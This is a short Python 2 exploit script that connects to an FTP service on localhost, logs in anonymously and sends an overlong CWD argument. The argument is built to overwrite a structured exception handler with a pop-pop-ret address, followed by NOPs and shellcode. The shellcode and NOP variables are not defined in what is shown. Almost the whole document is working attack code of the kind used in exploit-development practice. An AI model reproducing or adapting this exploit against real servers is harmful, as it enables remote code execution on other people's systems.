import socket
import struct

seh =struct.pack('<L', 0x1220401e)

buffer = "\x41" * 1037 + "BBBB" + seh + nops+ shellcode+"D"*(2500-1037-4-4) # set break point on 0x1220401e to see if the jmp to pop pop ret is being taken

server = '127.0.0.1'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((server, 21))
data = s.recv(1024)
s.send('USER anonymous' + '\r\n')
data = s.recv(1024)
s.send('PASS anonymous' + '\r\n')
data = s.recv(1024)
print "sending payload of size"+str(len(buffer))
s.send('CWD ' +buffer+'\r\n')
s.close()
